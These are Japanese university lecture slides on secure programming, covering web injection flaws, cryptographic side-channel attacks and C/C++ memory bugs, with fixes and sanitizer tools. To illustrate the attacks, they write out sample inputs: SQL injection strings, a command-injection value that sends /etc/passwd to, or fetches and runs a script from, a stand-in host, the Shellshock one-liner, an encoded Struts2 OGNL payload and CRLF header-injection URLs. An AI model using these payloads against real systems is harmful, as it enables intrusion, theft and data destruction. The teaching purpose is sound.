Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

セキュリティとプログラミング

7,953 views

Published on

東京工業大学 システム開発プロジェクト応用第二講義資料

Published in: Technology
  • Be the first to comment

セキュリティとプログラミング

  1. 1. セキュリティとプログラミング 東京工業大学 システム開発プロジェクト応用第二講義資料 2019/2/1 光成滋生(サイボウズ・ラボ)
  2. 2. • 前半 • Webアプリケーションに関わる いろいろなレイヤでの脆弱性の紹介 • インジェクションの例をいくつか紹介 • 今回はXSS, CSRFなどは範囲外 • 後半 • C/C++における脆弱性の例を紹介 • 便利なツールの紹介 概要 2 / 65
  3. 3. • 情報を正しく安全に扱うための考え方 • 機密性 • 許可された人だけがその情報を見られるようにすること • 完全性 • 情報が壊されないようにすること • 可用性 • アクセスしたいときにアクセスできるようにすること 情報セキュリティ 3 / 65
  4. 4. • 階層構造 • Webアプリ • アプリが動いているブラウザやHTTPのデーモン(httpd) • httpdが動いているOS • OSが動いているハードウェア・サーバ • ハードウェアを運営しているサービス提供者・組織・国 • 様々な攻撃対象 • どこまで信用するか • だれを信用するか Webサイト・アプリケーション 4 / 65
  5. 5. • アメリカ(2007) • 国家安全保証国(NSA)による通信の盗聴・監視 • 中国政府 • 検閲と監視 • Dragonfly ; Googleの中国のポリシーに準じた検索サービス • Google社員による抗議 • https://www.nytimes.com/2018/08/16/technology/google- employees-protest-search-censored-china.html • HUAWEIの製品を使わないという動き • ファーウェイ・ジャパンより日本の皆様へ • https://www.huawei.com/jp/press-events/news/jp/2018/hwjp20181227q • オーストラリアの反暗号化法 • 暗号傍受のための技術やバックドアを政府に提供する命令 国家による監視 5 / 65
  6. 6. • 個人情報 • 個人に関する呪法のうち特定の個人を識別できるもの • 氏名・生年月日・顔画像・指紋・マイナンバーなど • 要配慮個人情報 • 不当な差別または偏見が生じないよう本人の同意無しに 人種・信条・病歴などの情報を第三者に提供禁止 • 匿名加工情報 • 個人情報を誰の情報か分からないように加工したもの • ビックデータなどへの活用 • 罰金 • 半年以下の懲役または30万円以下の罰金 2017年個人情報保護法改正 6 / 65
  7. 7. • (以前)5000件を越える個人情報を保持する事業者は 個人情報取り扱い事業者として安全管理措置を 講じる義務がある • 2017/5/30より「5000件を越える」が撤廃 • 小規模事業者の事業活動が円滑に行われるよう配慮はある • 個人情報の保護に関するガイドライン • http://www.meti.go.jp/policy/it_policy/privacy/downloadfiles/1 61228kojoguideline.pdf 個人情報保護法の改正 7 / 65
  8. 8. • 2018/5/4 EUで一般データ保護規則が施行 • 主なルール • 適切なプライバシーポリシーの提供(明示的な同意など) • 忘れられる権利 • データ・ポータビリティの権利 • 別のサービスに移動したいという要求に応じる必要 • プロファイリングの拒否 • 対象 • EUを含む欧州経済領域(EEA)内の個人情報を扱う全ての企業等 • 罰金 • 世界年間売り上げの4%以下または2000万ユーロ以下の高い方 • 1ユーロ=130円なら26億円 • 2019/1/22 Googleに制裁金62億円(1/23 上訴) GDPR(General Data Protection Regulation) 8 / 65
  9. 9. • 原則禁止 • EUのデータ保護機関から承認を得ないとEUにある支店から 日本の本店に情報を移転できない • 日本は現在認定を受けていない • 2018年秋予定が2019年以降に持ち越し • 2019/1/23 欧州委員会が改正個人情報保護法の十分性認定 • 相互運用可 • http://europa.eu/rapid/press-release_IP-19-421_en.htm 相互運用 9 / 65
  10. 10. • Facebook • 個人情報の不正な利用や情報漏洩 • https://www.theguardian.com/news/2018/mar/17/cambridge -analytica-facebook-influence-us-election • https://newsroom.fb.com/news/2018/09/security-update/ • Amazon • スマートスピーカーAlexaが取得した音声データを他人に送信 • Google • Google+の個人情報流出の報告の遅れ(2年以上前) • APIの不具合によりサービス終了を4カ月繰り上げ • Symantec • 証明書発行の手続き不備 / Googleが認証局を無効化 大企業の事例(2018) 10 / 65
  11. 11. • トレンドマイクロ(2015) • セキュリティ製品が無断で個人情報収集 • LenovoのSuperfish(2015) • ルート証明書を勝手にインストール • CAの秘密鍵が脆弱 クライアントPCやアプリ 11 / 65
  12. 12. • ベネッセの情報流出(2014) • 関連会社で働く派遣社員が情報流出 • Apple ID(2017) • 業務委託先企業の社員が漏洩 • マイナンバー(2018) • 入力業務の請け負い会社が外部事業者に再委託・再々委託 委託や意図的な流出 12 / 65
  13. 13. • IBM Remote Server Administration cards(2012) • 実装がしょぼくて9個しか素数を生成しないデバイス • https://factorable.net/weakkeys12.extended.pdf • ルーターにバックドア(2017) • LG Wi-Fi STATION L-02F • https://jvndb.jvn.jp/ja/contents/2017/JVNDB-2017-000217.html • Intel (and AMD etc.) CPU • Meltdown/Spectre(2018) • コンテナ提供サービスで他のVMの情報を取得できる可能性 • kernel空間にある秘密の情報をユーザが取得できる可能性 ハードウェア 13 / 65
  14. 14. • 検索すれば沢山見つかる • 略 • ユーザが多いと攻撃者も多い OS, ブラウザ, プラグイン 14 / 65
  15. 15. • OpenSSL (2014) • (Heartbleed)バッファオーバーフロー • 秘密鍵が漏洩する可能性 • iOS7.0.6(2014) • goto文のミス • SSLでデータが暗号化されない可能性 • SQLite(2018) • 整数オーバーフロー(バッファオーバーフロー) • https://www.sqlite.org/src/info/940f2adc8541a838 • 任意コード実行可能性 ライブラリのバグの例(詳細は後半で) 15 / 65
  16. 16. • 徳丸浩 • 『体系的に学ぶ安全なWebアプリケーションの作り方』2018 • 徳丸浩の日記 https://blog.tokumaru.org/ • IPA • 安全なウェブサイトの作り方 • https://www.ipa.go.jp/security/vuln/websecurity.html • セキュア・プログラミング講座 • https://www.ipa.go.jp/security/awareness/vendor/programming/ • 情報セキュリティニュースサイト • JVN iPedia https://jvndb.jvn.jp/ • Security NEXT http://www.security-next.com/ などなど • OWASP • https://www.owasp.org/images/2/23/OWASP_Top_10-2017(ja).pdf プログラミングの資料 16 / 65
  17. 17. • 脆弱性 • 悪用できるバグ(セキュリティバグ) • 単に遅いとか、計算結果を間違えるとかは普通のバグ • 脆弱性の問題点 • 経済的損失 • 利用者が受けた被害の補償 • 回復不可能なダメージを受ける可能性(情報を消せない) • 迷惑料 • Webサイト停止による機会損失 • 信用失墜による売り上げの減少 • ボットネットワーク構築などに加担 Webアプリの脆弱性 17 / 65
  18. 18. • インジェクション(injection : 注入, SQLiと略す) • プログラム作成者が意図していなかったデータを入力して 攻撃すること • 原因 • SQLの呼び出し方に不備があるとき • 症状 • データベース(DB)の情報を取得・書き換え • SQLiが起こると致命的になる可能性 SQLインジェクション 18 / 65
  19. 19. • ログイン処理 • usersテーブルに($id, $ps)というユーザが存在するかを確認 • 結果が空でなければログイン処理をしていた場合 • SQLi • パスワード$psを「' or 'a'='a」にする • WHERE句がidさえあえばいつでもtrue • ログインできてしまう 文字列リテラルによるSQLiの例 SELECT * FROM users WHERE id='$id' and ps='$ps' $sql = "SELECT * FROM users WHERE id='$id' and ps=''or'a'='a'" 19 / 65
  20. 20. • 指定年齢以下のuserを取得 • SQLi • $ageを「1;DELETE FROM users」にする • SELECTを実行後DELETE文を実行してしまう 数値によるSQLiの例 SELECT * FROM users WHERE age < $age SELECT * FROM users WHERE age < 1;DELETE FROM users 20 / 65
  21. 21. • 重要 • 文字列連結によってSQL文を組み立ててはいけない • 対策1(非推奨) • 外部から渡された文字列リテラルのエスケープ処理 • 'を''にするなど • 外部から渡された数値リテラルは数値以外ならエラーにする • これらの対策は抜けが起こりやすいので出来るだけ避ける • 対策2(推奨) • 可能な限り静的プレースホルダ(prepared statement)を 用いてSQL文を組み立てる 対策 21 / 65
  22. 22. • パラメータを?で指定する • ?を使った文字列リテラルを用意 • 静的プレースホルダを作っておいて後で値をバインドする • ?の指定の仕方や構築の仕方は言語に依存する • ユーザがidやpsに'などを含んだ文字列を与えても 正しく文字列として処理される 静的プレースホルダ SELECT * FROM users WHERE id=? and ps=? 22 / 65
  23. 23. • DBではなくクライアントライブラリ側で 安全にSQLを組み立てる機能 • ライブラリに脆弱性があるかもしれない • ライブラリによってはサポートしていないかもしれない • 参考 • 「安全なSQLの呼び出し方」 • https://www.ipa.go.jp/files/000017320.pdf 動的プレースホルダ(次善策) 23 / 65
  24. 24. • 2011/4/21 SONY PlayStation Network • http://cdn.jp.playstation.com/msg/sp_20110427_psn.html • https://nakedsecurity.sophos.com/2011/05/24/sony-music- japan-hacked-through-sql-injection-flaw/ • 2017/2/13 日販アイ・ピー・エス株式会社 • https://www.nippan-ips.co.jp/news/pdf/announcement_20170314.pdf • 2018/6/29 サイボウズGaroon • https://kb.cybozu.support/article/33120/ SQLインジェクションの例 24 / 65
  25. 25. • 外部から任意のコードを注入して実行させる • 例:メール送信スクリプト • 悪用例1:/etc/passwdの中身を送信 • 悪用例2:外部スクリプトをダウンロードして実行 • 対策 • exec(), system()などのシェルを起動する機能を使わない • https://www.ipa.go.jp/security/awareness/vendor/programmin gv2/contents/501.html コマンドインジェクション $address = 外部からの入力 system("sendmail $address < $text") $address="i@attack.com < /etc/passwd #' $address="i@attack.com < /dev/null; ¥ wget http://attack.com/script;sh script #' 25 / 65
  26. 26. • RCE(remote code execution) • moadmin.phpの脆弱性 • POST時のパラメータにobject=1;system('ls');を渡されると リモート実行してしまう MongoDBのphpMoAdminのRCE(2015) public function saveObject($collection, $obj){ eval('$obj='.$obj.';'); return ... } 26 / 65
  27. 27. • 広範囲な影響 • bashの環境変数のパーサにバグ • 環境変数に値を書き込めると脆弱 • echo attackが実行される • 攻撃が容易 • bashを呼び出すかbashでhelloを表示するCGIスクリプトに HTTP_USER_AGENTなどの環境変数にscriptを設定してGET • さまざまな派生攻撃 • 最初の修正ミス, メモリ破壊など • 関連リンク • http://d.hatena.ne.jp/Kango/20140925 shellshock(2014) env x='() { :;}; echo attack' bash -c "echo test" 27 / 65
  28. 28. • 2016/4/26 ケータイキット for Movable Type • https://jvn.jp/vu/JVNVU92116866/ • 日本テレビ放送網株式会社 • http://www.ntv.co.jp/info/pressrelease/index20160421.html • http://www.security-next.com/071987 • J-WAVE • https://japan.cnet.com/article/35081799/ • 2018/5 A-Web倶楽部 • http://www.menicon.co.jp/company/news/vol679.html 攻撃例 28 / 65
  29. 29. • さまざまなことができる仕組みを用意すればするほど 脆弱性を生みやすい • 例 • mailしか送れないコマンド • eval ; 任意のコマンドを実行可能 • shellshok • 環境変数でプログラムを実行するケースがどれほど必要? 自由度の高いシステム 29 / 65
  30. 30. • register_global • リクエストパラメータでグローバル変数に設定する機能 • PHP4.2以前はデフォルトオン, PHP5.4.0で削除 • $a="1", $b="abc"がセットされる • http://...?authorized=tureで認証が通る PHPのグローバル変数登録機能 http://sample.com/?a=1&b=abc <?php if (authenticated_user()) { $authorized = true; } if ($authorized) { // 認証後のロジック } 30 / 65
  31. 31. • OGNL(object graph navigation library) • JavaのフレームワークStruts2が利用する式言語 • Javaライクな言語で動的なパラメータの記述が可能 • セキュリティホールの温床となっている • 例 • https://cwiki.apache.org/confluence/display/WW/S2-013 OGNL式インジェクション http://localhost:8080/example/HelloWorld.action?fakePara m=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D %3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodEx ecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.S ervletActionContext%40getResponse().getWriter()%2C%23wri ter.println('hacked')%2C%23writer.close())%7D 31 / 65
  32. 32. • 自由度の高い機能をブラックリスト方式で対策 • 最初dojoを含むものを除外 • 次にstruts, session, requests, actionなど五月雨式に追加 • 根本解決でないので抜け穴があるかもしれない • WAF Tech Blog 「例えば、Strutsを避ける」 • https://www.scutum.jp/information/waf_tech_blog/2014/04/w af-blog-036.html • 2017年の事例 • Equifax https://japan.cnet.com/article/35107320/ • 日本郵便 • http://www.post.japanpost.jp/notification/pressrelease/2017/ 00_honsha/0314_01_01.pdf • ぴあ受託サイト 何度も似た脆弱性を出す 32 / 65
  33. 33. • PDFでフォームを作るための言語機能 • 言語の中でGETやPOSTが可能 • 細工されたPDFを開くと外部サイトに情報漏洩する可能性 • 参考 • Kack Patch! PDF特殊機能(FormCalc編) • https://shhnjk.blogspot.com/2016/10/pdfformcalc.html • Cybozu PSIRT とある脆弱性の永い議論 • https://www.slideshare.net/Mtikutea/ss-70116839 FormCalc 33 / 65
  34. 34. • 改行を含む外部パラメータを元にHTTP レスポンスヘッダを生成すると攻撃を受ける可能性 • 任意のレスポンスヘッダの追加 • レスポンスボディの偽造 • CrLfインジェクション攻撃, HTTPレスポンス分割攻撃とも • 影響 • 任意のクッキー生成 • 表示内容の改変 • 任意のJavaScript実行など HTTPヘッダ・インジェクション 34 / 65
  35. 35. • urlというクエリー文字列を受け取りリダイレクトする • cgi?url=http://sample.jp/aaa/ならそこにリダイレクト 脆弱な例 my $cgi = new CGI; my $url = $cgi->param('url'); // クエリー文字列urlを取得 # smple.jp以外を除外 if ($url =~/^http:¥/¥/sample¥.jp¥//) { print "Location: $url¥n¥n"; exit 0; } # エラー処理 35 / 65
  36. 36. • 改行を含むurlを渡す • cgi?url=http://sample.jp/%0D%0ALocation:+http://trap.com/ • 生成されるヘッダ • 前者が後者で上書きされて後者のみが出力される • クッキー生成 • cgi?url=http://sample.com/%0D%0ASet-Cookie:+SSID=ABC でSet-Cookie: SSID=ABCが挿入される 攻撃例 Location: http://sample.jp/ Location: http://trap.com/ 36 / 65
  37. 37. • Remote Code Execution in apt/apt-get • https://justi.cz/security/2019/01/22/apt-rce.html • aptのリダイレクト処理でURLのチェックが不十分だった • NewURIに改行を入れたURLを渡すことで偽造したパッケー ジを正規のものに見せかけられる aptの中間者攻撃の脆弱性(2019/1/24) void pkgAcqMethod::Redirect(const string &NewURI) { std::unordered_map<std::string, std::string> fields; try_emplace(fields, "URI", Queue->Uri); try_emplace(fields, "New-URI", NewURI); ... 37 / 65
  38. 38. • [patch] content injection in http method • URLの中に許可されない文字列が無いかをチェック 修整コード void pkgAcqMethod::Redirect(const string &NewURI) { + if (NewURI.find_first_not_of(" !¥"#$%&'()*+,- ./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[¥¥]^_`abcd efghijklmnopqrstuvwxyz{|}~") != std::string::npos) + { + _error->Error("SECURITY: URL redirect target contains control characters, rejecting."); + Fail(); + return; + } std::unordered_map<std::string, std::string> fields; 38 / 65
  39. 39. coffee break
  40. 40. • 理論のミスをついた攻撃 • 理論はあってるけど実装に不備 理論と実装の狭間 40 / 65
  41. 41. • oracle(神託)とは神様の御告げ Padding Oracle Attack • oracle(神託)とは神様の御告げ 画像は「いらすとや」 ○○社の株を買うと もうかる 41 / 65
  42. 42. • 暗号理論的には 「暗号文𝑚に対する平文の情報を教えてくれる」神様 • ただし𝑚は攻撃したい暗号文と異なっている必要あり • そんな都合のいいやつはいるのか? 試験中に類題の答えを教えてくれる先生 先生8 x 7の 答え教えて 7 x 8ってな んだっけ 56ですよ 8 x 7はテストの 問題じゃないな やった! 42 / 65
  43. 43. • 攻撃対象暗号文𝑚にpaddingを付けてサーバに送り、 エラーレスポンスの情報で攻撃する Padding Oracle Attack 𝑃3のときだけ 反応時間が違う! 𝑚 + 𝑃1 エラー 𝑚 + 𝑃2 エラー 𝑚 + 𝑃3 ... エラー 43 / 65
  44. 44. • Keyczar crypto library(Python) • MACの正しさを確認するコード • どこが問題? Verification timing attack(2009) def Verify(key, msg, signature): return HMAC(key, msg) == signature 44 / 65
  45. 45. • 比較関数 • 多分普通こんなふうに実装する • aとbの一致度合いによって比較回数が異なる • falseが返るまでの時間が異なる • もしその時間差を検出できたら • signatureの先頭1byteが一致するものを探す • 次に次の2byteを……とすることでsignatureを見つけられる ==はbyte単位で比較する def Equal(a, b): if (len(a) != len(b)) return false for i in range(0, len(a)): if a[i] != b[i]: return false return true 45 / 65
  46. 46. • HTTPSにおいて細工したパケットを送り エラーが返る時間差を利用して攻撃 • TLSの暗号化と復号 • dataのMACをとりpaddingをして暗号化 • padding:長さを16で割った余りをrとすると 16-r個の15-rを並べる(1個の0 or 2個の1 or 3個の2 or ...)☆ • 復号:Decしてpaddingを取り除きdataのMACを計算して 正当性を確認 / 駄目ならエラー Lucky Thrteen(2013) Seq data MAC(Seq|Header|data) padding Enc(data|MAC|padding) Header 46 / 65
  47. 47. • 適当なdataを復号したときpaddingが☆になる確率 • paddingサイズをnバイトとする • 𝑛 = 1で [0x00]になる確率1/256 • 𝑛 = 2で[0x01:0x01]になる確率1/65536 • 𝑛 ≥ 3は1/(256*256*256)以下なので無視 • SHA-1の計算はサイズが55バイト以下のとき少し速い • エラーになるまでの時間が速くなったら𝑛 = 2とわかる • Seq+Headerのサイズが14バイトだったらこの攻撃は不成立 • 12バイトだったら1/256で攻撃できた • →POODLE(2014)→SSL3.0終了 Lucky Thirteen Seq 8 data 44-n MAC 20 padding n Header 5 64byte 57-n 47 / 65
  48. 48. • サーバでパスワードをどのように保存すべきか • 2019/1 宅ふぁいる便 • 480万件の個人情報流出(名前・生年月日・職業 etc.) • ログイン用メールアドレスとパスワード含む • サーバでパスワードをそのまま保存すべきではない • ではどうする? • ハッシュ関数(SHA2など)の値を保存すべき? • 半分yes • ハッシュ探索能力(ASIC Bitcoin miner) • EBIT E11++ 44TH/S(1秒間に4.4x1013回SHA2x2) • パスワードが英数52種 • 8文字45bit(1.2秒), 10文字57bit(1時間), 14文字80bit(760年) パスワード 48 / 65
  49. 49. • saltをつけてハッシュを繰り返し行った値hを保存する • PBKDF2(password-based key derivation function) • h = Hash(Hash(Hash(...(salt|pass),pass),pass),pass,...) • salt • パスワードが同じでもsaltが異なるとhが異なる • レインボー攻撃(テーブルを用いた攻撃)対策 • ストレッチング(ハッシュの繰り返し) • 1000回すれば計算時間が1000倍になる • Microsoft OfficeのKDFはSHA512を10万回 • GPU耐性のあるHash関数を使う • Argon2d ; final winner PHC2015 対策 49 / 65
  50. 50. C/C++での脆弱性
  51. 51. • プログラムが確保した領域を越えてデータにアクセス • データ破壊、漏洩、任意プログラム実行につながる可能性 バッファオーバーフロー void setZero(char *buf, int n) { buf[n] = '¥0'; } char buf[10]; setZero(buf, 20); // バッファオーバーフロー 51 / 65
  52. 52. • 秘密鍵、ユーザ名、パスワードなどが漏洩する可能性 • 外部から来たデータの長さを確認せずにアクセス • 修整 OpenSSL Heartbleed(2014) hbtype = *p++; n2s(p, payload); pl = p; ... buffer = OPENSSL_malloc(1 + 2 + payload + padding); /* Read type and payload length first */ if (1 + 2 + 16 > s->s3->rrec.length) return 0; /* silently discard */ hbtype = *p++; n2s(p, payload); if (1 + 2 + payload + 16 > s->s3->rrec.length) return 0; /* silently discard per RFC 6520 sec. 4 */ 52 / 65
  53. 53. • 該当コード • 確保してある値(nAlloc)より大きなバッファが必要になれば メモリを延長する SQLite RCE(2018/12) int nAlloc = 0; ... if( nPrefix+nSuffix>nAlloc ){ char *zNew; nAlloc = (nPrefix+nSuffix) * 2; zNew = (char *)sqlite3_realloc(zBuffer, nAlloc); 53 / 65
  54. 54. • 修正コード • https://sqlite.org/src/info/940f2adc8541a838 • nPrefix + nSuffixがint変数の場合 • 足してオーバーフローするとif の中がtrueにならない • バッファが足りてると判断してバッファオーバーフロー • if (a + b < c.size()) {c[a + b]は配列範囲外アクセスの可能性} patch i64 nAlloc = 0; ... if( (i64)nPrefix+nSuffix>nAlloc ){ char *zNew; nAlloc = ((i64)nPrefix+nSuffix) * 2; zNew = (char *)sqlite3_realloc64(zBuffer, nAlloc); 54 / 65
  55. 55. • 符号無し整数同士の加算 • オーバーフローしたとき2整数のビット長で割った余り • 符号あり整数同士の加算 • オーバーフローしたとき未定義 規格的には int main(int argc, char *argv[]) { char buf[10]; int a = argc == 2 ? atoi(argv[1]) : 1; if (a + a < sizeof(buf)) { puts("ok"); buf[a + a] = 'x'; } else { puts("err"); } } 55 / 65
  56. 56. • -fsanitize=undefinedオプションを使う(UBSan) • 実行時に未定義動作を検出 • https://clang.llvm.org/docs/UndefinedBehaviorSanitizer.html UndefinedBehaviorSanitizer % ./a.out 4 a=4 ok % ./a.out 5 a=5 err % ./a.out 2000000000 a=2000000000 t.cpp:9:8: runtime error: signed integer overflow: 2000000000 + 2000000000 cannot be represented in type 'int' err 56 / 65
  57. 57. • signed-integer-overflow • 符号つき整数のオーバーフロー • alignment • アライメントのあってないポインタの参照 • null • NULLポインタの参照 • shift • シフト演算子の未定義動作 • 符号つき整数でオーバーフローしたとき • マイナスの数でシフトしたときなど • unsigned-integer-overflow • 符号無し整数のオーバーフローは未定義動作ではないが検証 いろいろなオプション(一部) 57 / 65
  58. 58. • 長さ指定の文字列コピー • user="123"のときbuf=123 • user="1234"のときbuf=1234aaa ; // aが表示される • strncpyは指定したサイズ以上の文字列が来た場合 '¥0'ターミネートしない • strncpyを使ったコードはほぼ間違いなくバグ • 意図的に使っていても不要なゼロクリアコードが入る可能性 • 他人が見たとき知っていて使ってるのか判断しづらいので 使うべきではない • C11で導入されたstrcpy_s(あまりメジャーでない) strncpyの罠 char buf[] = "aaaaaaaa"; strncpy(buf, user, 4); printf("buf=%s¥n", buf); 58 / 65
  59. 59. • 一見普通のコード • printfにユーザ文字列を直接渡してはいけない • 必ずprintf("%s", buf);にすること • 通常コンパイラの警告が出るので気がつく • %nを使ったフォーマット文字列攻撃 • https://www.ipa.go.jp/security/awareness/vendor/programmi ngv2/contents/c906.html printf char buf[10]; int n = fscanf(stdin, "%8s", buf); // 最大8文字入力 if (n < 0) return 0; printf(buf); 59 / 65
  60. 60. • malloc()等で確保したポインタをfreeしたあと 再度freeすること • メモリ管理ライブラリの都合上 意図しないメモリ領域が破壊される可能性 • 対策 • freeしたらポインタをNULLにする // free(p); p = NULL; • free(NULL);は規格上何もしないことが保証されている 二重free 60 / 65
  61. 61. • -fsanitize=address • 実行時にメモリ操作に関わる様々な操作のチェック • https://clang.llvm.org/docs/AddressSanitizer.html • 対象バグ • 配列やスタックの範囲外アクセス • freeしたメモリの利用 • スコープを抜けた後のメモリアクセス • 二重free • 不正なfree • メモリリークなど • valgrind • コンパイラによらずにバイナリをチェック • ASanより遅い AddressSanitizer(ASan) 61 / 65
  62. 62. • -fsanitize=memory • 実行時に未初期化メモリの参照をチェック • https://clang.llvm.org/docs/MemorySanitizer.html • ./a.out ; 何も言わない • ./a.out 3 ; ==70586==WARNING: MemorySanitizer: use-of- uninitialized-value #0 0x496e5f (a.out+0x496e5f) • (注)ASanと併用不可 / メモリリークはでない MemorySanitizer int main(int argc, char** argv) { int* a = new int[10]; a[1] = 0; volatile int b = a[argc]; if (b) printf("xx¥n"); } 62 / 65
  63. 63. • コンパイラの警句は多めに • 最低限-Wall -Wextraで警告が出ないようにする • https://gcc.gnu.org/onlinedocs/gcc/Warning-Options.html • https://clang.llvm.org/docs/UsersManual.html#command-line- options • 可能なら複数のコンパイラで試す • strncpyはVisual Studio C++ /analyzeで警告がでる • cppcheckやscan-buildも便利 • 商用ツール PVS-Studio, Coverityなどいろいろある 静的解析ツールの活用 t.cpp(11) : warning C6053: 前の 'strncpy' への呼び出しは、 文字列 'buf' を 0 で終了しない可能性があります。 63 / 65
  64. 64. • iOS7.0.6のSSLのバグ(と同等のもの) goto fail int f(int x) { int err; if ((err = g1(x))) goto fail; if ((err = g2(x))) goto fail; goto fail; if ((err = g3(x))) goto fail; return g4(x); fail: return err; } 64 / 65
  65. 65. • clang-6.0 -Wall -Wextra ; 何も出力せず • clang-6.0 -Weverything ; code will never be executed • VC2017 /W4 ; 制御が渡らないコード • g++-7 -Wall -Wextra ; インデントがミスリーディング • 2個目のgoto failを1個左に寄せたら警告無し • cppcheck --enable=all ; gotoの後は実行されない • いろいろなツールとオプションで試してみよう コンパイラの出力 65 / 65

×